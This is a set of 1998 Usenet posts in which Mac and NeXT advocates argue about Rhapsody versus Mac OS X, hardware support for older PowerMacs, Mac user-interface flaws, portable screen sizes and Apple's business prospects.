References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se> <joe.ragosta-2207980818060001@wil103.dol.net> <FIiROLCWddLd-pn2-7diGdduw31jG@localhost>
In article <FIiROLCWddLd-pn2-7diGdduw31jG@localhost>, pit@iohk.SPAM-
NOT.com says...
> > But Mac OS X is _not_ the next generation OS. Rhapsody is.
>
> Well now, switch the spin generator off for a moment. Mac OS X, based
> on what is currently known about Apple's future direction (i.e things
> might well change between now and then), is / will be the next
> generation OS. What was Rhapsody until recently was renamed as "Mac OS
> X Server" and it has become but a stop-gap release with a limited
> target market. It's now a server product and isn't going run any
> so-called Carbon apps which is where Apple is taking the Mac userbase.
The "Rhapsody is not really next generation" is often believed, but let's
think about it.
MacOS-X and Carbon exists for one reason...there weren't enough
developers creating software for Rhapsody, and the consumer interest was
soft. Rhapsody was looking like it would be a comercial failure.
If Rhapsody had shipped, and flopped, and then Apple came out with the
new strategy, would we be seeing the same hue and cry? Would people be
saying "but you promised"?
Fortunately, for once, Apple was able to look down the tracks, see the
crash coming, and change tracks. Is it fair to hold them to offering
service to a city that's on the wrong side of the crash?
When the statement was made, the OS they were referring to was Rhapsody.
That OS will even be shipped. Yes, we now know it's going to be a flop
as a consumer OS. (I said so at the time, but Amelio didn't ask for my
opinion.) And so, Apple has their backup plan ready even before the
about-to-flop OS has shipped, and has announced it.
Is it reasonable to demand the backup plan cover the same parameters as
the main plan.
Donald
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 23 Jul 1998 18:18:51 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2307981818520001@pm3a8.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net>
NNTP-Posting-Date: 24 Jul 1998 00:16:44 GMT
In article <joe.ragosta-2207980951060001@wil116.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <Josh.McKee-2107981853200001@pm3a15.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > You might have a good arguement about the R&D if you could demonstrate
> > that R&D would be hurt by Apple including PCI based PowerMac support in OS
> > X. I see nothing really challenging that would keep OS X from running on
> > this equipment. Rhapsody has not been renamed "OS X Server" and it runs
> > on this equipment. Why can't "OS X end user"?
>
> Because Mac OS X client has Carbon and Mac OS X server doesn't.
>
> Or becuase the driver architecture has changed?
>
> Or because the graphics architecture has changed?
And how would this prevent the OS from running on PCI based pre-G3 Macs?
Josh
Newsgroups: alt.skuznet.web2news,comp.sys.next.advocacy,utexas.gslis.iplab,uw.lang
From: news@news.msfc.nasa.gov
Message-ID: <cancel.exQt1.19507$Zk4.4001247@news.inreach.com>
Control: cancel <exQt1.19507$Zk4.4001247@news.inreach.com>
Subject: cmsg cancel <exQt1.19507$Zk4.4001247@news.inreach.com>
Organization: http://www.msfc.nasa.gov/
Date: Fri, 24 Jul 1998 00:27:26 GMT
Sender: nfqinqou@hotmail.com
Make Money Fast post canceled by J. Porter Clark.
From: Kari L Beischer <kari@gti.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 24 Jul 1998 00:20:43 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6p8k0r$2jo$1@supernews.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5uhd$1ji$1@supernews.com> <joe.ragosta-2207982118210001@elk62.dol.net>
In article <joe.ragosta-2207982118210001@elk62.dol.net>, you wrote:
> In article <6p5uhd$1ji$1@supernews.com>, kari@gti.net wrote:
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> Nonsense. John's implication is that a 9" screen is useless. He
> specifically states that there's no reason for less than 12" XGA.
> That's nonsense. For some purposes, 9" is plenty.
I unequivocally disagree, Joe, Go back and read his post...again:
<insert>
JK> >> Jeez, if by next year the best they can do
JK> >> is release a consumer portable with *only* a 9"
JK> >> screen, they deserve what they can get.
JK> >> There's no excuse today to release anything
JK> >> but an XGA screen. 12" XGA screens at a minimum.
<end-insert>
Since the original discussion was based on:
<insert>
aman@aman.com (A-Man) wrote:
> Just to throw another idea into this thread:
>
> There's a meme here that the Mac UI can begin to shed the remnants
> of previous small screen limitations. There are suggestions that
> various NeXT UI concepts can be used since more Mac users have
> larger screens these days. Well, that may not be true of a
> certain consumer portable computer to be released next year.
>
> It may soon be more important than ever that the Mac UI functions
> well and looks good on a 9" display...
<end-insert>
As a responably intelligent person I would assume that John is NOT
convinced that the Mac UI will funtion well or look good on a 9"
display. Thankfully, I recall that free speech is still in the
amendments:) It's his opinion, he's entitled. In addition, I do
agree with him. :)
Get it now?... or is your head still "under cover"?
> And it has nothing to do with Apple being deific or any other
> such speculation on your part.
Joe, I tend to 'call them as I see them.' :)
> Unless the intent of a consumer portable is something that doesn't
> require a 17" screen. Are you saying that there's no use for a
> computer that doesn't require 17"?
No, I would agree with you that there are many uses for a computer
that does not require a 17" screen. For instance: a PC Companion, a web
phone, package delivery tracking, or a game. None of these, do I consider,
a fully operational personal computer -- your mileage may vary.
> > My Toshiba730CDT has an 11" screen (I do mainframe software
> > UNIX development/support), and it is too small to do any real
> > good. I have to keep an extra monitor about for long term
> > telecommuting.
> And maybe that's not the intent of the consumer portable.
On the contrary, that was the intent of the Toshiba laptops, selected
by AT&T as a company approved portable. The laptops are specifically
designated for employees who require portability in support of their
job functions.
Interesting fact -- the Toshiba's were selected to replace the AT&T
Globalysts, which by the way, had 7-10" screens. :)
--
Thanks, Kari Beischer
____________________________________________________________________
AT&T ASCII, MIME, PGP, SUN, & NeXTmail OK
Systems mailto:kari@gti.net
Development to want is natural, to need is negotiable...
____________________________________________________________________
Opinions expressed are mine, not those of my employer...
Date: Thu, 23 Jul 1998 22:02:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2307982202340001@elk97.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net>
In article <Josh.McKee-2307981818520001@pm3a8.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <joe.ragosta-2207980951060001@wil116.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <Josh.McKee-2107981853200001@pm3a15.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> >
> > > You might have a good arguement about the R&D if you could demonstrate
> > > that R&D would be hurt by Apple including PCI based PowerMac support in OS
> > > X. I see nothing really challenging that would keep OS X from running on
> > > this equipment. Rhapsody has not been renamed "OS X Server" and it runs
> > > on this equipment. Why can't "OS X end user"?
> >
> > Because Mac OS X client has Carbon and Mac OS X server doesn't.
> >
> > Or becuase the driver architecture has changed?
> >
> > Or because the graphics architecture has changed?
>
>
>
> And how would this prevent the OS from running on PCI based pre-G3 Macs?
It certainly makes it a much bigger job to port the OS. AND to test it
afterwards.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 14:54:37 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news>
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On Thu, 23 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Tue, 21 Jul 1998, Andy Bates wrote:
> >
> > > Maybe Apple has done the same thing, and determined that they weren't any
> > > better than the current OS.
> >
> > Maybe Apple hasn't bothered trying. We can prove neither at the moment.
>
> The difference is that I'm not claiming that Apple IS trying, while you ARE
> claiming (or implying) that Apple is NOT. Your statement is easily
> disprovable.
Uh, huh. Disprove it. (Not that I'm seriously trying to maintain it.)
> > Well, Apple doesn't seem to be exploring other options NOW, _AND_ Apple
> > has a history of taking many years to address flaws that Mac users have
> > pointed out time and time again.
>
> You mean like the flaws you pointed out? Other than the garbage-can issue,
> they all seem pretty minor. All of your suggested changes would be defined
> as "incremental."
That's fine. I don't mind incremental changes. I'd like to see significant
changes, but even incremental ones would be welcomed.
> It seems like you have a double-standard here: you suggest incremental
> changes that you want Apple to make, yet you complain that their OS changes
> over the past few years have "only" been incremental. Why are your
> incremental changes valid, while Apple's incremental changes keep the OS
> "stagnant"?
You're right. Stagnant is the wrong word.
Let me try to clarify what I think.
Since the Macintosh was created, other OSes have implemented many of the
features found in the Mac OS. Many of these OSes have implemented some new
behaviors that are not found in the Mac OS that are useful. Other OSes
have implemented features that were not present in the Mac OS and are done
better than the Mac OS does them now. In short they have caught up in a
lot of ways and in other ways surpassed Apple. There were and still are
serious flaws to the Mac OS. Some of the things Apple did to adress them
do not go far enough to even catch up again much less take the lead. Other
things Apple still has not addressed. Very little of what Apple is adding
to the Mac OS now is new to the computer industry. Some other OS has
implemented nearly all of it. Stagnation is the wrong word for how the Mac
OS has advanced since it _has_ advanced. Perhaps relative stagnation would
better express what I mean. The advancements have been in an effort to
keep up and have not done a very good job.
> > Because Apple doesn't even seem to be doing that. We certainly have gotten
> > a lot of incremental updates, but the serious flaws in the UI have still
> > not been addressed.
>
> Again, the flaws that you have addressed, aside from the menu issue, seem
> to all be incremental changes themselves.
That's fine sometimes that's all it takes. I would like a revolutionary
new behavior, but barring that I will take an incremental improvement. I
do not want the same old flawed behavior.
> > What I see more of now is focus on themes and schemes.
>
> That is certainly the most visible change, but is not the most major
> change. There are many other changes to the UI that have been made, but of
> course the addition of Themes will be more visible. For example, there is
> now a proxy icon in the title bar of open folders. This icon allows you to
> manipulate the folder even when it is open (and the regular icon is not
> visible). This metaphor could be (and I believe, will be) extended to
> documents, so that you can drag and drop the icon to save a file instead of
> having to select "Save" from the menu bar.
That is certainly an interesting and useful change.
> Now, will you withdraw your comment that no significant UI changes are
> being made?
Yes.
Fewer significant changes to the UI are being made than would allow Apple
to _greatly_ surpass other OSes that would make the Mac UI the best in the
world _and_ a good UI. Right now, I believe they are all bad. The Mac UI
just has the distinction of being the best of the bad. That's not a
particularly flattering distinction.
> > Look at the screen shots of pre-release versions of Mac OS 8.5 that are up
> > in various places on the internet. There are a few needed changes, but a
> > lot of the flaws are still there.
>
> Again, besides the menu bar (which is up for debate) and the Trash Can
> thing (which is only confusing for the most novice users), your stated
> flaws are minor.
You dismiss the "Trash Can thing" too quickly. The user should not have to
modify his behavior or have to spend time learning a behavior because of
some quirk of the OS when it could be done to be immediately intuitive and
quick.
I would like to see a more obvious indication of the foreground
application. The current application menu does not go nearly far enough.
The new menu in Mac OS 8.5 does better, but is still not enough. This is
an issue that bites a lot of people and even gets me occaisionally. The U
of I Macs in the public labs have a program that asks the user whether to
quit when all the windows in a program are closed. This is a terrible
solution to something that could be addressed with a little thought.
The file system type handling is not a minor issue. I have been annoyed by
this many times before as have many other Mac users. Just because I can
use ResEdit to fix the issue does not mean that there is a no serious
problem. Windows is worse, but that's no excuse for the Mac OS.
There are more that aren't coming to me right now.
The Mac OS is far from perfect.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 22:38:13 -0500
Organization: Prairie Group
Message-ID: <MPG.1021bd9f5b2e0adc9899ec@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com>
In article <6p6loq$ood$1@nnrp1.dejanews.com>, quinlan@my-dejanews.com
says...
> > If this were to ever become a pattern, you'd have a legitimate gripe.
> > But, one datapoint is not sufficient to define a pattern.
>
> I'm not interested in doing statistical analysis on Apple's support patterns
> and I doubt that many other customers will either. They will wonder why their
> two year old computer won't run the latest and greatest OS when Apple said
> that it would. Or do you think that once Apple ships Rhapsody 1.0 for these
> machines they will have fullfilled their obligation?
>
My complaint was that the original poster was saying this was Apple's
strategy and you should always expect them to ship new OSes that kill all
old products. And that was excessive.
And, after thinking it out, yes, I think Apple has fullfilled their
obligation. I went through the logic in another thread, but in brief:
The only reason OS-X is planned is because it is already obvious that
Rhapsody is going to flop as a commercial product. If Apple had shown
its normal miopia, shipped Rhapsody, THEN it flopped, THEN Apple came up
with OS-X, who would think Apple had the obligation to ship the following
latest and greatest OS on all machines Rhapsody was promised for?
The only difference is, this time, Apple has seen that it's flopping and
has announced the follow-up strategy. They're still shipping the OS they
promised and talked about, it will still run the sort of apps they talked
about, and it's still going to be a commercial flop like I talked about.
The time frame has just been compacted.
Donald
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 16:25:16 -0500
Organization: Ericsson North America Inc.
Message-ID: <35B7AA3C.9A95E13B@ericsson.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com>
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Michael M. Eilers wrote:
> I'm tired of all the idle threats by supposed Mac loyalists on this group.
> None of you are going to go Windows just because Apple didn't follow the
> plans you would dictate to them. When you sit down and look at the costs
> (new hardware, new software, learning curve, downtime) it would make no
> sense at all. I've probably got $7,000 minimum invested in my 2 macs w/
> software, and it would cost me twice that to move it all to Windows.
In other words, you're no longer an Apple advocate, you're a prisoner of
Apple's managed upgrade plan. Not that I disagree; I think that's a
pretty accurate statement of circumstances. I just didn't expect you to
phrase it that way.
What a little shop of horrors.
MJP
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 20:18:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p85r5$h40$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org>
In article <slrn6re6d9.32b.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> m68k->SPARC (Sun). AFAIK, Solaris never supported m68k.
But didn't Solaris come out well after the introduction of the SPARC based
Suns? And, IMHO, SunOS to Solaris was a much smaller jump than MacOS 9 to
MacOS X will be.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 15:11:24 +1000
Organization: University of Queensland
Message-ID: <6p952e$nl4$1@bunyip.cc.uq.edu.au>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-2307982201500001@elk97.dol.net...
>In article <6p7leg$al7$6@hecate.umd.edu>,
>davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>
>> You forget that no so long ago (5-6 years) there was a big annoucement
>> of the great alliance called AIM. The unstated and modest goal was to
>> acquire 10% of the CPU market in a decade. (Can't remember where I read
>> this from now) That won't be happening now. Motorola had very aggresive
>> goals to push and expand PPC chips, and really churn it out. Their
>> frustration was that their ability to push the chip was being limited by
>> the whim of another company, Apple.
>
>Nice revisionism.
>
>AIM's inability to capture 10% of the CPU market with PPC was due to a
>number of factors:
>
>IBM dropped OS/2 for PPC
>IBM dropped AIX for PPC
>Novell dropped Netware for PPC
>Microsoft dropped NT for PPC
>Motorola stopped making PPC computers
>Sun dropped Solaris for PPC
>Apple's PPC sales didn't meet expectations.
>
>Of all these players, Apple is the only one who stuck with PPC. Blaming
>Apple for Motorola's inability to reach 10% market share is ridiculous.
Maybe if Apple were a little less greedy and built wide-open PPC machines,
there would be more OSes and software available for them ? If this happened
you might see PPC machine sales start to take off as people realise how much
better they are than most x86 CPUs ? Me, I'd love to be running NT on a PPC
but I sincerely doubt its ever going to happen (or ever really was).
>
>--
>Regards,
>
>Joe Ragosta
>See the Complete Macintosh Advocacy Page
>http://www.dol.net/~Ragosta/complmac.htm
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Following up on a prediction...
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References: <rmcassid-1607981527460001@dante.eng.uci.edu> <SISs1.5751$7k7.6580623@news.rdc1.sdca.home.com>
<rmcassid-2307981149330001@dante.eng.uci.edu>
Message-ID: <DJUt1.6896$7k7.8655408@news.rdc1.sdca.home.com>
Date: Fri, 24 Jul 1998 05:13:07 GMT
NNTP-Posting-Date: Thu, 23 Jul 1998 22:13:07 PDT
Organization: @Home Network
In <rmcassid-2307981149330001@dante.eng.uci.edu> Robert Cassidy wrote:
> In article <SISs1.5751$7k7.6580623@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >And Summer isn't over yet. I'm waiting until after August and the boys in
> >New York on Wall Street are back from the Hamptons and Martha's for
awhile.
> >:-)
>
> No, it's not over yet.
>
> My predictions were a bit optimistic - and I missed on most. Happy to see
> us staying above $35.
>
> I've now heard multiple rumors that Apple want's $1/share for the xMas
> quarter. That would mean revenues of $1750 on margins of 25.5%. And
> probably around 850,000 systems given an average system price of $2k
> (which means a lot of Powerbooks and G3 Pro systems to offset those iMac
> prices). So more like 900,000 if iMac makes up a big percentage.
>
> I'm not sure they can pull it off that soon. 2 years ago they sold over
> 900,000 units and raked in $2.1B in revenue, but margins were only 18% and
> operations costs over 50% higher. So they've done the volume, but with
> more resources at their disposal, and under somewhat more favorable
> conditions.
>
> Anyhow, this quarter looks like it'll be nice. Not stellar, but nice.
> Hopefully a unit surprise will result. I don't see Wall Street turning on
> us soon, though. Apple is showing a PE, and not a half bad one at that.
> The street has been shown not to underestimate Apple 3 times now, I think
> they'll be a little hesitant to do it too quickly. OTOH, if Apple blows it
> even one time, they'll get _hammered_.
>
>
I think everybody needs to take a looong view on Apple. These guys are just
about to put their first product on the market, post NeXT. Let's see how
they handle that... Then let's see how the marriage is going between ex-NeXT
engineering and Apple design team with MacOS X. Integration, innovation and
functionality of MacOS X with the networked world will be the indelible
marque of the new Apple.
We can second guess, rumor monger and intellectualize the possible Apple
future, but reality is unpredictable. I'm looking for Apple to position
themselves in a 2001 marketplace, whatever that topography. Everything in
between then and now doesn't excite.
Apple's living off reputation and a loyal customer base. No future there.
That's like saying your father bought Oldsmobile so you should. There's a
whole new generation of buyers flooding into the marketplace without a clue
to Apple's history and Steve Job's accomplishments. And they don't care.
It's time to see new customers attracted to a legitimate market strategy with
coherent product plan to meet the market. When we see new Apple customers,
new product and organizational execution to match, Apple'll be a much more
predictable performer.
Maybe... :-)
-r
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 23 Jul 1998 13:11:20 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2307981311200001@news>
References: <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <1dcj69z.1o563yq97eq68N@rhrz-isdn3-p14.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721144202.19564A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2207981027570001@news> <Pine.SOL.3.96.980722135746.12616B-100000@ux9.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980722135746.12616B-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> I understand roughly what this would entail. It is not possible to create
> such an extension.
Maybe, maybe not. In any case, the new Navigation Services are available
for programmers to use, so Apple can not be blamed if they don't use them.
> > So what? Now that the new Navigation Services are available, you can't
> > blame Apple if adoption is slow.
>
> I can blame Apple for sitting on its hands for years and I can take that
> behavior as an indication of what it will continue to do.
And yet, with other UI elements, Apple has been relatively rapid and
introducing and fine-tuning new features. Why take this one as an
indication of what Apple will continue to do? The fact is, you can't take
one feature that hasn't been updated as a general indication of what Apple
will do with other UI features. Some are easier to fix than others, and
some are more crucial than others. Maybe Navigation Services has taken
years to fix; I don't know. However, I do know that now that it's
available, it does no good to complain that it didn't come out sooner.
> > And I believe that Apple is probably looking at most of these flaws as well.
>
> Possibly, but there is no evidence that they will be fixed any time soon.
> They certainly won't be fixed with Mac OS 8.5.
Besides the menu system and ejecting disks, can you give me a quick
run-down of what these major flaws are again? For being such "major,
glaring flaws," I am certainly having trouble remembering them.
> > Okay, here's where you and I disagree. A lack of significant change does
> > not equal "stagnation." Would you say that the automobile UI has
> > "stagnated" because all the pedals are where they used to be 50 years ago?
>
> Yes. That's not necessarily a very bad thing in this case.
Sorry, but "stagnation" has a negative connotation. You could say that a UI
has "remained consistent," or that it has "stagnated," but one has a
negative connotation while the other does not.
> The situation
> of cars and of computers is somewhat different. If you argue that we
> should stick to the same old UI because that's what we've done with cars,
> then the transition from CLI->GUI should never have happened.
I was simply making the point that a UI that has remained the same is not
necessarily a bad thing, which you just admitted. Now, can you tell me WHY
the fact that the Mac UI hasn't changed is a bad thing, whereas the
"stagnation" of the automobile UI is not?
> Perhaps the use of a joystick would be better than pedals and a steering
> wheel. We are certainly in a generation where a lot of people understand
> that way of manipulation (computer games for the last 15 years). It has
> some potential advantages.
Would you really like me to pick apart the idea of using a joystick for
automobile navigation? This is a perfect example where something new is not
necessarily better. Just off the top of my head:
1) It is preferable to have decelerating and braking as two separate
activities, so that brak is not accidentally applied. It is trivial in a
car to stop all acceleration without braking; with a joystick, it would be
very difficult to stop at the exact midpoint of the Y-axis without starting
to brake.
2) There is an advantage to having one simple operation for the hands and
another for the feet, instead of having one more-complex operation for the
hands. For example, with today's cars, it's easy to decelerate or
accelerate while maintaining a constant turn, or to make a series of rapid
turns while keeping a constant speed. With a joystick, these operations
would become needlessly complex, since the action of moving the joystick
from left to right would almost always cause some up or down movement as
well, which would affect the speed or braking of the car. This behavior is
not desirable, and could cause many problems as well.
3) Currently, the driving load is split between separate appendages; with a
joystick, one would be overloaded, while another would be unused.
4) Right now, force feedback naturally affects the steering wheel. With a
joystick, it would have to be artificial.
Should I go on?
Now, can you tell me why a joystick would be better for automotive control,
besides "people understand it"?
> A heads up display might be useful as well. I
> think in some ways, the auto industry has stagnated too as far as UIs go.
I disagree, as you can see. My point remains: an unchanging interface is
not by definition a bad thing.
> > And do you think that during the UI planning meetings at Apple, they said,
> > "Hey, let's come up with another revolution!"? No, of course not. You can't
> > just "continue" a revolution, or "come up with" a revolutionary concept
> > every few years because you want to.
>
> Well, duh.
Just making sure you understand.
> > No new revolution. See above.
>
> I'm not taking about a revolution in that case. I'm talking about other
> OSes advancing swiftly while the Mac OS plods along keeping the most
> glaring of flaws for years. While other OSes have advanced far further in
> some areas than the Mac, the Mac OS shows little sign of catching up.
But if the other OSes started off far behind the Mac (which they did),
"advancing far further" does not mean that they are necessarily ahead of
the Mac. Therefore, how far an OS has advanced can not be used as a sign of
its superiority, and an unchanged OS is not necessarily inferior.
And please, reiterate these "glaring flaws" which somehow haven't seriously
hindered users.
> > However, your belief that the appearance
> > changes mean fewer UI changes seems unfounded.
>
> How so? Instead of putting the resources into being able to make windows
> into bulbous black blobs, Apple could have put more resources into
> enhancing and adding to the Mac UI.
Again, you mistakenly believe that it's an either-or situation. You can not
throw more and more engineers at a project to get things done faster.
Therefore, Apple could have the maximum number of engineers possible
working on UI changes, while another group of engineers works on Themes.
Also, the talents required for each project do not necessarily cross over.
I'm sure engineers weren't designing the new themes.
> Themes and schemes are not a significant addition to the UI. They do not
> change behaviors. It is just eye candy or perhaps pudding for the brain.
Right. Therefore, with regards to the UI, they are not a bad thing, as you
seem to believe.
> > Then doesn't it seem that Apple was stagnating four years ago, and is now
> > catching up?
>
> To a certain extent, but there were many UI features in NeXT for example
> that were better than the Mac's which Apple has disabled in favor of the
> flawed old Mac behavior. I consider that continued stagnation (at least in
> some areas).
Specifics, please.
> > Don't fault Apple for when UI changes "should have been"
> > introduced.
>
> Why in blazes not?!?
>
> When there are well known and widely complained about flaws in the UI that
> go unaddressed for years, should I not fault Apple for not doing anything
> to fix them? Whom should I fault for that? Who else is responsible?
